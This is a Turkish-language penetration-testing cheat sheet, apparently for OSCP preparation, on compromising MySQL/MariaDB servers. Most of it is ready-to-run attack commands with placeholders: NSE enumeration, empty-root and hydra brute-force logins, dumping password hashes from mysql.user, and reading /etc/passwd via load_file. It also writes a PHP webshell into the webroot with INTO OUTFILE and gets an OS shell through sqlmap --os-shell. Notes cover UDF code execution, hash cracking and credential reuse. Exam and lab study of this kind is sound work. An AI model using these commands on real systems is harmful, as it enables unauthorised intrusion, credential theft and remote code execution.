FOOTHOLD Metodoloji Cheat-sheet
3306

MySQL

linux

MySQL/MariaDB veritabani: nmap NSE enumeration, varsayilan/zayif kimlik bilgileri, UDF ile RCE, FILE privilegi ile dosya okuma/yazma ve hash dump.

┌──

Komutlar

nmap ✓ EXAM-SAFE
nmap -sV -p {{RPORT}} --script=mysql-info,mysql-empty-password,mysql-users,mysql-databases,mysql-variables,mysql-audit,mysql-dump-hashes,mysql-enum {{RHOST}}
MySQL NSE script taramasi: sürüm, bos parola, kullanicilar, DB'ler. HackTricks — 3306 Pentesting MySQL
mysql ✓ EXAM-SAFE
mysql -h {{RHOST}} -P {{RPORT}} -u {{USER}} -p'{{PASS}}'
MySQL istemcisi ile kimlik dogrulamali baglanti. HackTricks — 3306 Pentesting MySQL
mysql ✓ EXAM-SAFE
mysql -h {{RHOST}} -P {{RPORT}} -u root --password=''
Bos/varsayilan root parolasi denemesi. HackTricks — 3306 Pentesting MySQL
hydra ✓ EXAM-SAFE
hydra -L {{WORDLIST}} -P {{WORDLIST}} {{RHOST}} mysql
MySQL kimlik bilgisi brute-force. HackTricks — 3306 Pentesting MySQL
mysql ✓ EXAM-SAFE user
mysql -h {{RHOST}} -u {{USER}} -p'{{PASS}}' -e 'show databases; select user,authentication_string from mysql.user;'
DB listele ve mysql.user hash'lerini dump et (FILE/admin gerekli). HackTricks — 3306 Pentesting MySQL
mysql ✓ EXAM-SAFE user
mysql -h {{RHOST}} -u {{USER}} -p'{{PASS}}' -e "select load_file('/etc/passwd');"
FILE privilegi ile yerel dosya okuma. HackTricks — MySQL File priv
mysql ✓ EXAM-SAFE user
mysql -h {{RHOST}} -u {{USER}} -p'{{PASS}}' -e "select '<?php system($_GET[0]); ?>' INTO OUTFILE '/var/www/html/sh.php';"
FILE privilegi + writable webroot ile webshell yazma (secure_file_priv kapali olmali). HackTricks — MySQL File priv to RCE
sqlmap ⚠ RESTRICTED user
sqlmap -d "mysql://{{USER}}:{{PASS}}@{{RHOST}}:{{RPORT}}/database" --os-shell
Dogrudan baglantida UDF/INTO OUTFILE ile OS shell (otomatik istismar). PayloadsAllTheThings — MySQL Injection

Genel Bakis

MySQL/MariaDB OSCP makinelerinde sik gorulur. Cogu zaman ya zayif/varsayilan kimlik bilgileri ile baglanti kurulur ya da bir web uygulamasindan ele gecirilen kimlik bilgileriyle erisilir. Asil deger; kimlik bilgisi loot, dosya okuma/yazma ve UDF ile RCE kombinasyonundadir.

Enumeration

  • nmap NSE scriptleri ile surum, bos parola ve kullanici listesini cikar.
  • mysql-dump-hashes admin erisimi varsa hash’leri toplar; aksi halde manuel select user,authentication_string from mysql.user; calistir.
  • Surum bilgisi onemli: eski MySQL/MariaDB surumlerinde bilinen CVE’ler ve UDF exploit yollari farklidir.

Kimlik Dogrulama / Varsayilan Kimlik Bilgileri

  • root / bos parola, root:root, root:toor, uygulama config dosyalarinda bulunan kimlik bilgileri ilk denemeniz olmali.
  • LFI/dosya okuma ile elde ettiginiz wp-config.php, config.php, .env dosyalarindaki DB kredleri burada is gorur.
  • Brute-force icin hydra kullanilabilir ancak OSCP’de once manuel/varsayilan denemeleri tercih edin.

Dosya Okuma/Yazma (FILE privilegi)

  • FILE privilegine sahip kullanici load_file() ile yerel dosyalari okuyabilir (/etc/passwd, SSH key, config).
  • INTO OUTFILE ile webroot’a PHP webshell yazilabilir; ancak secure_file_priv degiskeni bos olmali (show variables like 'secure_file_priv'; ile kontrol et). MariaDB varsayilaninda bu cogu zaman kisitlanmistir.
  • Yazma basariliysa elde ettiginiz webshell uzerinden reverse shell alip pivot edin.

UDF ile RCE

  • Yazma yetkisi + uygun plugin dizini varsa User Defined Function (UDF) ile sys_exec/do_system tanimlayarak komut calistirilabilir. raptor_udf2 PoC klasiktir.
  • sqlmap’in --os-shell modu bunu otomatiklestirir; OSCP’de otomatik istismar restricted sayilir, manuel UDF tercih edilir.

Loot / Pivot Notlari

  • mysql.user tablosundaki hash’leri hashcat ile kir (mode 300 eski, mode 7401 caching_sha2 icin).
  • Uygulama tablolarindaki kullanici parolalarini cikar; parola tekrar kullanimini SSH/web panellerinde dene.
  • DB’den okudugun konfigurasyon ve API anahtarlarini sonraki adimlarda kullan.
┌──

İlgili teknikler

┌──

Kaynaklar

0/15 set